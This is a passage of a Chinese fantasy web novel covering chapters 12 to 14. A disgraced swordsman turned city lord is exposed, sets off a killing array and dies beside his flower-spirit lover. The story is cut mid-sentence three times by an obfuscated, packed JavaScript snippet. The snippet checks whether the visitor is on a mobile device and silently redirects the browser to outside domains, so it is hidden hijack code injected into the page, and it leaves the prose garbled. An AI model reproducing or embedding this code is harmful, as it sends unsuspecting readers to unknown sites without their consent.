此刻吃着这些东西,她再没空去想别的,一筷辣子鸡丁,一筷松鼠鳜鱼,吃得欢快不已。 不过吃着吃着,就感觉有哪里不对,一抬头,发现柳星怜正垂眸看着她,而他自己的碗中空空如也,这么多菜,他却是连一口也没动。 想起在妖巢中,见到那些锁在笼子里的人吃的是什么东西,苏挽月顿时感觉自己吃不下去了,她抿了抿唇,夹了一筷松鼠鳜鱼到他碗里,劝他:“这个很好吃的,你尝尝看。” 柳星怜沉默了一会儿,还是将那块鱼肉送进了嘴里,面无表情地嚼了两下,就吞进了腹中。 也不知到底尝出味道了没有。 苏挽月想了想,伸手在储物袋里掏了掏,果然掏出几块油纸包着的饴糖,她将那糖塞进柳星怜手里,道:“要吃糖吗?我见你很喜欢这个,前几日在刘大婶家见到了,就买了下来。” 柳星怜捏着糖块的手一顿,抬眸看了她一眼,又快速低下去,然后轻轻应了一句:“嗯。” “其实糖也能做菜的,如今我们还有事在身,等到回了山门,我给你做我的拿手好菜,保管要你尝之不忘。” “你要带我回山门?”她勿自絮絮叨叨,却陡然听见柳星怜问出这么一句话。 苏挽月一愣,心中咯噔一声:“你不愿意?” 她好像的确没有问过柳星怜要不要跟她回神机宫,苏挽月这才意识到这件事,如果他不愿意,自己这段日子岂不是剃头担子一头热? “我应该愿意?”柳星怜扯开嘴角,他似乎想要露出一个笑,但脸上的神情却怎么看都不算愉悦。“你出自名门正派,而我却是不人不妖的怪物,前些日子才当着你的面亲手弑父。你还要带我回去?你的同门皆对我退避三舍,这才是正常反应,我想不通你到底为何要这么做。” 他实在是敏锐,即使被关了这么多年,无人教化,却并未被磨灭了心智,反而十分聪慧。 苏挽月被他问得哑口无言,她的目的并不单纯,若没有系统给的任务,第一眼见到柳星怜,她也不会愿意接近他。但这些时日相处下来,苏挽月直觉认为他不是一个心狠手辣之人。 她想了想,终是道:“我不知要怎么才能打消你的疑虑,但我对你绝没有坏心。若你不信,不跟我回去便是,但你救了我,我不会丢下你不管。从此以后,你去哪里,我也去哪里。” 不跟着他,怎么引他向善,又怎么避开前世的灭世之祸。不管苏挽月愿不愿意,她此生也和眼前这个少年绑在一块了。更何况,她内心深处,对这个身世坎坷的少年,也确实存着几分怜惜。 柳星怜认真看了她许久,他漆黑的眼眸里好像盛了一点流光,那光在他们的对视下变得越来越亮,亮得苏挽月的心都慌了一瞬。 沉默半晌,柳星怜才对着她压低声音道:“我姑且信你,你若骗我……” 剩下的话他没说,却点了点手中的红阎,红阎已经有了灵性,能感知到主人情绪的变动,立刻颤了颤剑身,像是在威慑。 苏挽月:……好的好的,我知道了,果然灭世反派什么的,不是那么好感化的。 12. 云来城 众人在客栈中好生吃了一顿,这顿饭吃完,天色已经渐渐暗了下来,黑暗像是一只野兽,潜伏在深处,一个不防备,就会将人狠狠咬上一口。 在这个时候,没有人会选择在夜里出门,不过对这群神机宫弟子来说,夜晚倒是去探探城主府的好时候。 左秦鹤显然也是这么认为的,他朝着大家招了招手,道:“待会我们就悄悄进去,从墙上走,别发出动静。” 众人都默默点头。苏挽月和柳星怜一起坠在后面,穿过几条无人的街道,就见到了城主府的大门。 在这样的夜里,城主府上那泛着金边的牌匾格外显眼。 左秦鹤当先跃了过去,身后的人都紧紧跟着,众人身姿轻盈,没有发出一点声音。但下去的时候还是被人发现了。 宋荇独自一人站着墙边,面上带着一抹浅笑,显然正等着他们到来。 “左兄。”他朝左秦鹤打了个招呼,声音淡淡的,“这三更半夜的,难得你有闲心带小辈来我府中做客,何必要翻墙呢,直接走正门便是,难道还怕我不欢迎吗?” 左秦鹤沉默了一会,面无表情地道:“那么,宋城主你欢迎吗?” 宋荇听到这话哈哈一笑,回答:“欢迎之至,左兄什么时候来,我都欢迎。” 说完就转身欲走,左秦鹤在他身后喊住了他,“宋荇,你就没有什么想说的吗?” 宋荇转过身,静静和他对视,随后露出一个无辜的表情,“不知道左兄是想让我说什么?” 左秦鹤淡声道:“偏院、五云山、妖巢。” 只是简单几个字,但是大家却都知道他是什么意思。 宋荇表情不变,还想辩解,“左兄,我不懂你在说什么。若是想来我府中做客,我自是欢迎至极,可若是想来找茬,我一届凡人奈何不得,但也可上报宗门,为我做主!” 左秦鹤面露失望之色,“左兄,事到如今你又何必狡辩?你若当真没有牵扯,便向我解释清楚为何你府中的偏院竟然可以直接通往五云山中的妖巢!” 宋荇正待开口,苏挽月却又添了一句,“花,还有你府中的玉兰花!那花恐怕不是凡品吧?” 她这话一出,宋荇脸色终于变了,他眼神阴鸷地看了苏挽月好一会儿。 苏挽月被他这眼神盯着,仿佛被一条冰冷的毒蛇盯住了一般,后脊骨直冒冷气,她不自觉地向后退了一步,却被一双手扶住了。那人默不作声地往前走了两步,不经意间挡住了宋荇投过来的视线。 苏挽月有些愣神,不由自主地盯着挡在他身前的少年,他身形虽然单薄,身量却很高,这一站出来,直接将娇小的苏挽月挡了个严严实实。 宋荇看不到苏挽月,声音却更加冰冷,他道:“我找了这么久都找不到,原来是被你这小丫头带走了。我劝你赶紧把那她交出来,否则会有什么下场,那可说不准。” 他话说得不客气,还隐隐有威胁之意,沈灵顿时不满了,道:“宋城主,我们敬你年龄大了,又是左师兄的旧友,这才对你礼遇有加,你可别蹬鼻子上脸了!” 然而宋荇只冷冰冰扫了她一眼,根本不理会她的叫嚣。只对着苏挽月道:“将她还给我!” 左秦鹤见此,问道:“宋兄,你实话告诉我,五云山的妖巢跟你到底有没有关系?如今城中发生的事情又是不是你所为?只要你说没有,我便信,这就带着他们回去。我只想听你亲口告诉我,有还是没有?” 沈灵闻言不满极了,叫了一声:“左师兄!”她不明白,明明这个宋荇嫌疑这般大,左秦鹤却为何还要包庇他,一时心下不忿,提剑便要冲过去。 左秦鹤却拦住了她,目光紧紧盯着宋荇,仿佛期待着他能如方才一般回答不是。 然而这一回,宋荇却沉默了下来,良久,他叹了口气,仿佛无奈极了。 “果然还是不能在你面前撒谎,既然你这么想知道,那好吧,此事我的确知情。” 想来,这宋荇不知和那柳承达成了什么协议,为了避开神机宫的耳目,竟然直接在府中挖了一条地道,那些受害的凡人就是从这地道里运过去的!这么些年,也不知究竟有多少人遭到毒手。 见他承认得这般干脆,沈灵这才冷哼一声消停下来,左秦鹤却像是大受打击,他目中震惊做不得假,艰难问道:“宋兄,你为何要这么做?” 宋荇一脸漠然,回道:“没有为何,想做便做了。” 然而这话,却像是根针一样刺中了左秦鹤,他突然拔高了声音,怒道:“想做便做了?你以为这是在做什么?和妖物勾结害人性命,这是你宋荇会做的事?你还记得当时我们云游天下之时,你立的誓言吗?你还记得自己一剑寒凝斩夜龙的名头吗?” 从方才到现在,宋荇的神色一直是淡淡的,即便听到苏挽月提及玉兰花,他的脸色也只是难看了一瞬间就恢复过来,然而此刻,当左秦鹤说出一剑寒凝斩夜龙的时候,他却整个人都颤抖了起来,那张苍老的脸上带着一阵扭曲,看得人格外不适。 “不要说了,你别说了!什么一剑寒凝,我听不懂。”他红着眼瞪左秦鹤,竟像要入魔一般。 看到宋荇反应如此剧烈,苏挽月整个人都惊住了,她伸手将千绫握在掌心。又从柳星怜身后出来,想要去拉沈灵。 却见沈灵呆呆站着,一副被雷劈了的模样,口中还在喃喃着什么,苏挽月凑近了听,才听清楚她说的是:“一剑寒凝斩夜龙,竟然是他。” 苏挽月不明所以,问:“谁?什么一剑寒凝斩夜龙?” 沈灵却陡然反应过来,凑到她跟前,道:”夜龙是一只鼠妖,左师兄口中那只鼠妖啊,它修到明镜以后,给自己取了个名字叫夜龙。到处兴风作浪,后来竟然被一个凡人剑客斩杀了,你知道当时这件事引起了多大轰动吗?剑客一战成名,何等风光恣意。修仙界还有人说,若任由他这般斩妖除魔下去,说不准会以凡人之躯飞升成仙。”说到这里,她又感叹了一句:“我还以为左师兄口中的宋荇只是一个普通的侠义之士,没想到竟然是寒凝剑客。” 苏挽月也呆了,她瞧了瞧眼前这个疯疯癫癫的老头,怎么也没办法将他与传说中能一剑斩杀明妖的剑客天才联系起来。 很明显,宋荇自己也是没办法接受的,再是如何天资出众,只要没有真正成仙,他仍是个凡人,凡人终归有老的一天,到那时候,一切功名便如过眼云烟。 左秦鹤看见他这幅模样,眼中含着一抹痛色,他道:“宋兄,你到底为何会变成这样?” 谁料这话一出,宋荇却陡然哈哈大笑起来,他笑得眼泪都掉了下来,当真难看极了。 “我为何会变成这样?这话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392737|168614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我倒想问问你,问问你们这些仙门中人?我宋荇到底是做了什么,要落到这样的下场,就因为你们是修仙者,而我是凡人?我就得永远匍匐在你们脚底下吗?什么城主?不过是你们手底下的走狗罢了。” 他抓了抓头,将原本整齐的头发抓得凌乱成一团,这样子看上去就更像个疯子了,他又向前走了两步,走到左秦鹤面前,道:“你别装了,看到我这个样子,你心里面是不是爽快极了?心里分明高兴不已,面上却要做出一副悲痛的神色,这就是你们修仙者啊,哈哈哈,我懂,我懂……” 左秦鹤眉头皱得更紧,他几乎都要认不出眼前这个昔日的好友了。 “宋荇!你到底在说些什么?我从未这么想过。” 宋荇却是冷冷看了他一眼,又一扬袖道:“你没这么想?那你把他的后人带来做什么?折辱我么?我告诉你们,想看我笑话,我偏不让你们如意。我宋荇,即使落到今日这地步,却还是……” 宋荇说着,退后几步,像是无意间踩到了一样东西,刹那间,原本漆黑的夜空中浮现出道道光芒,那光亮闪闪的,顷刻就铺遍了整座城主府。 仔细一看,这些光芒组成的线条并非是杂乱的,而是沿着一定的规律来排列,行成了一个阵法。 而苏挽月一行人,恰巧就站在阵中。 左秦鹤看了这阵一眼,面色难看,他咬着牙低骂了一句,“他妈的,是绝杀阵!” 绝杀阵,是世间唯一一个不需要灵力就可以启动的阵法,然而它开启的条件也极为苛刻,需要以凡人之身集九百九十九个怨念极深的亡魂,再配上一柄带有正道之气的灵器心甘情愿作为阵眼,才可以开启。 然而若有凡人害了这么多无辜之人,使其怨气冲天,又怎么可能被这种灵器认主,这不是自相矛盾吗?可惜这宋荇却不一样,他从少年起就带着寒凝剑四处游历,斩妖除魔,这把寒凝剑是硬生生被他从凡剑养成了灵剑的,自然跟其他灵器不一样。 这绝杀阵难开是难开,一旦开启,哪怕元婴修士来了,也危险得很。 怪不得左秦鹤会骂这一句了,苏挽月此刻也觉得万分崩溃,她总感觉自己重活一次后,运气实在差得不像话,明明是出来捉个小妖,却处处都是意外。这次搞不好,她小命就得玩儿完了。 “哈哈哈,死吧!死吧!我们一起死吧!我宋荇等今日等了几十年了,终于等到了仇人,以为废了我的武功就没事了?我早说了,除非杀了我,否则即使没了武功,我照样能报仇!” 苏挽月越听这话越觉得奇怪,她看着眼前疯态毕露的宋荇,道:“等等,你先等等,什么报仇?我们这里哪儿有你的仇人?” 她原意是想要提醒宋荇这里没有你的仇人,谁知这话问出,宋荇竟真的停下了疯言疯语,他用目光将他们一个个扫过,然后就是一声冷哼,道:“还装什么装?孟子谦的儿子是吧?你可和你爹一个模子里刻出来的,我一见到你就认出来了,不知道你认出我了吗?” 宋荇那锐利的眸光略过人群中,却是落在苏挽月后面的一个男子身上,苏挽月循着他的眼光回头一瞧,瞬间就将他认了出来,竟然是在妖巢里帮她一起扶过左秦鹤的孟宁。 孟宁被他点了出来,脸色也隐隐有些发白,他忙退了两步,却不料脚下一个打晃,就那么摔倒在了地上。 13. 云来城 “对不起,对不起,对不起!宋叔叔,是我爹对不起你,我爹早就后悔了,他死前都在后悔这件事,所以才靠着宗门的关系给你谋了一个城主的职位,他是真的后悔,求求你,放过我们吧!” 他说着说着,眼泪就流了下来,看起来当真是怕到了极点,苏挽月看着有些不忍,却并没有动手去扶他。 “现在再来说这些有什么用?后悔?道歉?死去的人能回来吗?我这些年受的罪,我一身的武功,又能回来吗?!你可知我是怎么熬过来的?我在苦苦煎熬的时候,你父亲还有你,你们又是过的什么日子?”宋荇一脸森然地道。 孟宁张了张嘴,却像是什么也说不出来了,只一个劲呢喃道:对不起,对不起…… 左秦鹤蹙着眉将他提起来,质问道:“孟子谦当初到底做了什么?!” 孟宁泪流满面地看着他,似乎想说什么,但努力了半天,还是沉默地垂下了头。 “孟师兄,你倒是说话呀!”沈灵着急道。 在众人的逼问下,孟宁终于白着一张脸开了口:“宋叔叔……是我父亲对不起你。我……我愿意以死谢罪。只要你肯放过其他人。”说完就举起了剑,抵着自己的脖子欲要自戕,左秦鹤目光一厉,眼疾手快将剑从他手中夺了下来。 宋荇冷冷地看着这一幕,觉得这一切都令他作呕。他缓缓往后退了两步,趁众人的注意力都在孟宁身上,忽然猛地一窜,就要朝着一个地方奔过去。 左秦鹤立马回过神来,道:“快拦住他!他想去开另一个阵点。” 绝杀阵一共有三个阵点,若三个阵点都被打开,天王老子来了也没救了。 柳星怜原本就一直关注着他,在他开始动的时候,他便跃了过去,宋荇年老体弱,又没了武功,自然没他快。 然而他分明已经制住了宋荇,空中却还是有一道新的亮光冒了出来,众人一看,却发现是从沈灵那里冒出来的,她见众人都看过来,一脸慌张地摆手:“不,不是我!我就是急着去抓他,我不是故意的!” 众人回神,却见宋荇又哈哈笑起来。电光火石之间,苏挽月反应了过来,看来这宋荇刚刚跑的那几下根本就不是为了去打开阵点,而是为了引众人去追他,这阵点就埋在这附近,众人慌乱之下踩来踩去,一个不小心就踩到了。 那边从始至终一言不发的沈毓显然也想到了,他高声道:“都别动!别再动了!最后一个阵点就在这里,在我们脚下!” 众人闻言,立马僵住了身子,一动也不敢动。 宋荇却是嗤笑一声,道:“有本事你们一直站在这里别动,这阵点如今已经开了两道,你们想出去是做梦,要么困死在此地,要么就让我打开最后一个阵点,大家一起死个痛快!” 他这话一出,站在他旁边的柳星怜竟然还微微颔首,似颇为认可。 苏挽月扶额,怎么忘了这里还有个疯子,这下好了两个疯子凑一块,只能祈求其中一个别犯病。 哪知她才这么想着,柳星怜就看向了她,朝着她远远吐出几个字,他的声音很低,苏挽月没有听清,却看懂了他的口形,他说的是:别害怕。 这一瞬间,苏挽月恍惚觉得自己竟然真的没那么害怕了。 这厢众人正僵持着,那厢她却感觉自己的身体有些不对劲。脖颈后面传来一丝轻微的疼痛,仿佛是有什么东西钻进了她的身体里。 苏挽月轻轻嘶了一声,正想伸手去摸自己的脖子。手还没抬起来,变故却突生,她本是站在原地一动不动的,身体却不知为何开始朝着前方走动。 是的,是她的身体,而不是她。像是有什么东西在控制她一样,她眼睁睁看着自己一步步朝宋荇走去。 左秦鹤见此,连忙喝道:“苏师妹!你在干什么?别过去!” 苏挽月也急了,她回:“我、我、我,不是我,我也不想过去啊!!” 众人再次一默,这个时候,只要不是傻子,都能看出她身上的不对劲,嘴上明明不情愿,身体却不受控制。 这样诡异的场景,令柳星怜蹙起了眉,他静静观察了苏挽月半晌,突然道:“你身上那是什么?” “什么?” 众人随着他的目光看过去,却什么也没看见。唯有苏挽月知道,他定然在自己脖颈处看到了一朵花,一朵红色的玉兰。 柳星怜紧抿着唇,一言不发地看着她一步一步朝前方走去,在她离宋荇只有几步之遥时,他迈步向前,想过去拦住她。 却听苏挽月口中发出了一道尖厉的女音,她冷冷道:“别过来!” 那声音明明是从苏挽月嘴里发出的,却和她的音色明显不一样。 柳星怜被她这么一喊,不由自主地停下了脚步。 所有人都面露惊惶之色,猜测着附在苏挽月身上的到底是什么妖物。 唯有宋荇眼眸含光,他看着苏挽月的眼神很奇怪,有怀念,有欣喜,就像透过她看向了另外一个人。 他道:“花云,是你吗?” 这个时候的苏挽月已经完全没了自己的意识,她听到宋荇的问话,脸上的神色竟然从惊恐变做了温和。那分明已经不是她了,而是另外一个人。 ‘苏挽月’轻笑了两声,柔声唤道:“宋郎。” 再一次听到这个称呼,宋荇眼中的欣喜几乎都要溢出来了。 他向前走了几步,与‘苏挽月’面对面,情难自禁地想去握住她的手:“花云,这么多年你都不肯见我,我以为你还在怪我。” ‘苏挽月’摇了摇头,唇角依然带着浅笑,“宋郎,我从未怪过你,生时没有,死后亦没有。为你做的任何事,我都心甘情愿。” 宋荇听到她这样说,愣了一下,最终捂着头,痛苦道:“花云,对不起,都是因为我,如果不是我……” 他话说到一半,眼眸又变得通红,神经质地道:“不对!不对!不是我,都是因为孟子谦,是他!我得找他报仇!” 他跌跌撞撞向前走了几步,就要向人群中的长脸师兄冲过来,却被‘苏挽月’拉住了胳膊。 “宋郎,真的够了,我从没有怪过你,我也不想复仇,我那么做,只是想让你好好活下去。我想让你活得开心,我想让你做你想做的事,不管你荣耀加身,还是武功废尽,你都是你。我喜欢的从来不是什么寒凝剑客,而是你宋荇啊!可是你看看,如今的你还是你吗?” 宋荇却道:“我做这些都是为了什么,难道你不知道吗?” “我知道。”‘苏挽月’这一次没有再笑,语气也低了下了,“正是因为我知道,所以我才不能继续让你错下去!这府中的冤魂,它们不得安息,便日日夜夜折磨着你,让你也跟着受罪,你知不知道你这样,让我比死了还难受?” 她还没有告诉他的是,她去见过他的,不止一次,可惜她每次去,他都见不到她,她只能眼睁睁看着自己所爱之人,在地狱里挣扎、痛苦,日复一日,年复一年。 宋荇万万没想到会从她口中听到这样的话,他一下子跌坐在地上,头上的束发彻底掉了,那样子真的很狼狈很可笑,头发蓬乱,衣衫不整,然而却没人能笑得出来。 ‘苏挽月’也笑不出来,她走上前,蹲在宋荇身旁,用手抚上了他的脸,他已经不再年轻,头发变得花白,脸上也生出了很多皱纹,然而在她眼中,这一切都仿佛不存在,只要他看她一眼,她的心还是会疯狂跳动。这毕竟是她曾用命喜欢过的人啊。 “可是花云,我如果不这么做的话,你就回不来了啊!你一直不肯见我,我以为,我没有为你报仇,你在怪我,我以为你怪我啊!”宋荇瘫坐在地上,又哭又笑,涕泗横流,他喃喃道:“那我这些年做的这些事又算什么?又算什么呢?” ’苏挽月’看着这模样的他,顿时悲从中来,她渐渐闭上眼,有泪顺着眼角滑落了下来,“对不起,宋荇,是我害了你……既然一切由我而起,也由我来结束吧。” 在泪水砸在地上的一瞬间,一朵红色小花突然从她身上窜了出来,动作极快地沿着她的手臂到了宋荇的身上,宋荇目光呆呆地看着眼前的诡异红花,却是不躲不避,任由它钻进了自己的心口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15392738|168614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 花一离体,苏挽月整个人就软倒了下去,被她身旁的柳星怜接了个正着。 “宋郎,这么多年了,我知道你很累了,我们一起解脱吧。这一次,不管去哪里,我们都永远在一起。” 那花钻进去并不是不痛的,可痛着痛着,宋荇却陡然笑了出来,他捂着自己的胸口,感受着渐渐弱下去的心跳,低低叹了一句:“罢了,既然这是你想要的,那我又有什么不可以?只要你要,只要我能,纵使魂飞魄散,我亦甘之如饴。” 在那朵花彻底融入他体内以后,眼前的宋荇发生了巨大的变化,他的一头白发渐渐变回了青丝,脸上的皱纹也一道道消失,皮肤变得平整光滑,佝偻的脊背也挺直起来,眨眼间就从一个疯老头变为了一个年轻俊美的男子。 他脸上原本疯狂的神色也不见了,整个人变得温和起来。这样的他,任谁来看,都是一个翩翩佳公子。 原来,这才是寒凝剑客真正的模样,众人看着眼前发生的一切,一时之间都相顾无言。 站在一旁的左秦鹤眼底带着些许怀念,这个样子的宋荇,跟四十多年前,他初见他的时候一模一样,那个宋荇,曾一剑寒凝斩夜龙的宋荇,他回来了! 似乎是察觉到了左秦鹤的视线,宋荇蓦然回过头,冲他莞尔一笑,那一笑中,依稀还能看出几分从前的风采。什么执着?什么疯狂?什么复仇?对他来说,好像都不重要了。就连孟宁,他也没再多看一眼。 “左兄。”他轻轻唤了一句,语调温和又舒朗,跟方才那个一心只有仇恨的宋荇一点也不一样。“我是不是让你失望了?” 左秦鹤却摇了摇头,“宋兄,不管怎么样,我都不曾后悔交你这个朋友。” 宋荇闻言,整个人都怔住了。良久,他才低低地笑起来,有些惆怅地道:“是我运气不好吧,如果当时来的不是孟子谦,而是你,那该有多好啊……算了,都这样了。” 他又是一挥手,一把银光闪闪的剑从阵中飞了出来,静静落在他的手中。这把剑周身流转着淡淡光华,一看就不是普通的凡剑。 想来应该就是用来充作阵眼的寒凝剑了。 他看了这把剑好一会儿,白玉般的指尖搭在剑身上,极为耐心地抚了起来。剑对每一位剑客来说都是割舍不了的,它是他们最忠心的同伴,也是他们最亲密的战友。 寒凝剑的剑身是银白色的,剑如其名,周身覆着一股霜寒之气,即使多年不曾用过,却依然熠熠生辉。像是为了回应主人,在宋荇的抚摸下,寒凝剑也轻轻颤动了起来。 “左兄,以后寒凝就交给你保管了。”宋荇抚了剑身一阵,终是一狠心,将它抛给了左秦鹤。 左秦鹤伸手接过寒凝剑,一时之间感慨万千,他有很多话想问,又有很多话想说,最终却都化成了一句叹息。 “宋兄,你放心吧,这把剑我会为它挑选一个好的传人,不会辱没了它。” 当初宋荇拿着这把剑杀了不知多少作恶的妖魔,这才将它养出了正气,从一把凡剑化作了一柄真正有灵的剑,这何其难得。 宋荇还是笑着的,他深深看了一眼左秦鹤,道:“多谢了。” 他的笑像春光一样,灿烂但不灼目,温暖但不炽热。然而那笑只在他脸上停留了极短的时间,就随着主人一起化为了一片片红色花瓣,像是下了一场漫天的花雨,那场景美得如梦似幻。 宋荇俊美的脸庞一点点破碎,他在最后时刻,用手紧紧捂住了自己的胸膛,那朵红色玉兰钻进去的地方。 他苦熬了这么多年,从鼎鼎有名的寒凝剑客变成了冤魂缠身的古怪老头,从荣光加身的侠义之士变成了血债累累的害人妖魔。这一路的挣扎、痛苦、等待和不甘都随着这场花雨尽皆散尽了,至少他在离世之前,终于得到了解脱。 左秦鹤怔怔地站在原地看了好一会儿,良久才将寒凝剑往身上一背,道了句:“回吧,都回吧。” 绝杀阵没了阵眼,已经彻底构不成威胁,众人如梦初醒,都纷纷跟上左秦鹤,离开了这座华丽却可怖的城主府。 14. 回山 苏挽月感觉自己陷入了一个长长的梦境里,在梦中,她见到了一个红衣少女。 那女子伏在白衣剑客的背上,脸上带着俏皮的笑,“宋荇,你行不行啊?堂堂寒凝剑客,连个女子都背不动吗?” 一边说着,一边还不安分地在他背上动来动去。 年少的剑客从来没遇到过这样的女子,蹙着眉呵斥:“你别动了!再动真掉下去了。” 然而语气虽然不好,他的眼中却并没有丝毫不耐,反而显露出一丝温柔,银白色的寒凝剑被女子拿在手中,她道:“宋荇,寒凝剑真的好漂亮,以后有空你教教我剑法怎么样?” 她说着,凑到了少年的耳边,轻声道:“我要你手把手教我。” 离得近了,女子身上的香气蓦然闯进鼻尖,那是一股淡淡的玉兰花香,白衣剑客的脸腾地一下红了,说出的话都变得断断续续,“以后……再说吧。” 然而,没有以后了。 过分的称颂带给人的不仅仅是荣誉,还有数不尽的伤害。年少成名的白衣剑客一心只有降妖除魔,拯救众生,他从不知人心险恶。 那时候,他遇到了一位叫花云的女子,她天真、善良,在他眼中,她比世间任何一位女子都要好,于是他爱上了她,即使后来知道了她是花妖,他亦没有放弃。 然而降妖途中,不会永远平安顺遂,他受了伤,被仇家追杀,花云守在他身边,用自己微小的力量保护他,支撑得很是辛苦。 本以为两人都会死在这场浩劫中,一个人却从天而降,这人名唤孟子谦,是神机宫的一名修真者,也是寒凝剑客结识多年的好友。他以为他等到了生路,然而等来的却是他无情的背叛。 为何?因为嫉妒,凭什么你一介凡人能踩在我一个修仙者头上?凭什么所有人都得捧着你?奉承你? 那一战以后,一剑寒凝斩夜龙的剑客没有死在仇人手中,没有折在妖物手中,却毁在了昔日的旧友手里。 他武功尽废、经脉尽绝,但却没有死,一只小花妖用自己的生命护住了他。 然而这样活着,对他来说,难道是什么幸事吗?爱人身死,好友背叛,功力全无,要怎样才能好好活下去? 于是报仇,养着花云残存的神魂,成为了支撑着他活下去的信念,昔日仗剑天涯的剑客龟缩在小小的云来城中,成为了这城中的城主,一晃几十年过去了。 他将这里变成了人间炼狱,也将自己化为了可怖妖魔。 苏挽月感觉胸口堵得慌,不知是为这白衣剑客,还是为那些无辜惨死的百姓。她在梦里,见到了那白衣剑客和翅金蝶妖勾结,杀害了无数人,其中有过往的行人、周围的村民,甚至几岁的稚童。 他以他们的魂做绝杀阵,以他们的血浇玉兰花。 无数冤魂在府中夜夜哭嚎。 苏挽月看得胆战心惊,虽然知道是梦中。也想要找出办法结束这一切。岂料她才迈出一步,便觉一股窒息之感传来。她一下子睁开眼,入眼便是沈灵略显心虚的脸庞。 “哈哈哈,苏师妹你醒了啊,你都睡了三天了。”她干笑两声,将手背在了身后。 苏挽月一见她这副模样,就知道方才梦中的那阵窒息感跟她脱不了干系。 她捂着还晕乎乎的头,无奈道:“灵师姐,你又做了什么?” “我就是见你这么久了还没醒,有点担心嘛。你要是再不醒,就赶不上宫主的寿宴了……”沈灵边说边打量她的神色,越说声音越小。 宫主的寿宴?提到这一出,苏挽月才想起打量周围的环境。入目不再是云来城客栈中那简陋的房屋,而是一间熟悉的华丽寝殿,白玉石铺就的地面,檀香木筑成的温床。屋内装饰着瓷白的花瓶摆件和刻了金莲的琉璃灯,可谓极奢极华。正是她在神机宫中的住处。 苏挽月捂后知后觉,“我这是回来了?云来城的事解决了?宋城主呢?还有那朵玉兰花……” 想到还有这么多事没解决,她腾地一下坐起身,但毕竟是昏睡了三天,这下子起猛了,整个人险些栽倒在地上。 沈灵赶紧扶住她,道:“放心吧,都解决了。宋城主……以后恐怕没有什么宋城主了。”她叹了口气,又道:“城主府的九百九十九道冤灵都已度化,玉兰花妖也自行消散了。还有那些从妖巢带出来的人,都一一安置妥当。总之,这件事可算告一段落了。” 回想起梦中见到的画面,苏挽月揉了揉眉心,也觉得松了口气。然而这口气才松到了一半,她又想起了一件事,急忙抓住了沈灵的胳膊,道:“那柳星怜呢?” 她脸上的焦急不似作假,沈灵盯了她半晌,目光中流露出歉意。 苏挽月看得心凉了大半,顾不得自己如今还手脚发软,蹬了鞋就要跑出去。被沈灵一把拉住了,她噗嗤一声笑了出来,刮了刮她的鼻尖,调笑道:“行了行了,我逗你玩呢,柳公子也跟着我们回来了。不过他情况特殊,暂且记在清辉道君门下,随左师兄一道修行,被他日日盯着呢。” 清辉道君跟昆凌道君一样都是元婴期修士,在神机宫中地位超凡,又有左秦鹤在旁盯着,出不了什么大乱子,苏挽月闻言终是放下了心。 心一静,便又想起了沈灵提到的寿宴,不由问道:“宫主的寿宴?什么时候的事,怎么此前未曾听说?” “说来也是巧了,咱们这位宫主你也是知道的,一向不喜欢张扬,这次寿宴本也不打算大办的,岂知前些日子宫主修为突破到元婴,两件喜事撞在一处,这才决定好好办一场,邀了好些道友前来参加。不止四大仙门、三大世家的人会来,听说还有不少散修也在受邀之列。”说到此处,沈灵面上带起了一抹期待之色,兴奋道:“这下可好,毓秀榜上的英才们来了大半,我老早就想一睹他们的风采了。” 这番话下来,苏挽月总算弄明白了,神机宫宫主徐念山卡在金丹期近百年,想了许多办法,都抓不住突破的契机,论修为,既比不上宗门的几位道君,又比不上其他仙门的掌门人,是以这些年来行事颇为低调,这次好不容易进阶了,自然得大办一场,好好扬眉吐气。 而沈灵口中的毓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15392739|168614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秀榜,其实是由大家私下编写的一个榜单,这榜虽只排金丹之下的修士,但凡是上榜之人,需得在五十岁以内,既不看家世,也不看相貌,只看修为和天赋。 如此一来,上榜的自然都是当世英才,且不分出身贵贱,因此这榜也被大家戏称为苍云界最有潜力飞升榜,当初的宋荇,就曾以凡人之身被排进这个榜里。 苏挽月想了想,又道:“那这次神机宫可有得热闹了。” 沈灵点头,随后又神神秘秘地附在她耳边,“这一次,大师姐也会带着她的道侣茯阳道友一起回来。听说这位茯阳道友,可是位真正的君子呢,端方如玉、气度不凡。就是不知道这君子是否名副其实了。” 如果是往常,沈灵断不会说出这样的话,但经过云来城一行,见识过宋荇的所作所为,难免也会生出这种怀疑。 乍然听到这个名字,苏挽月只觉得熟悉中又带着点陌生,竟然有种恍如隔世之感。 茯阳乃是浮光殿殿主之子,少时便十分聪颖,于修仙一道颇有慧根,不过区区二十年,便修到了筑基后期,与金丹只差一线之隔,比起动辄花个上百年才能勉强突破金丹的修士们,此人可称为天纵之才。自然也当之无愧地排在了毓秀榜第一名。 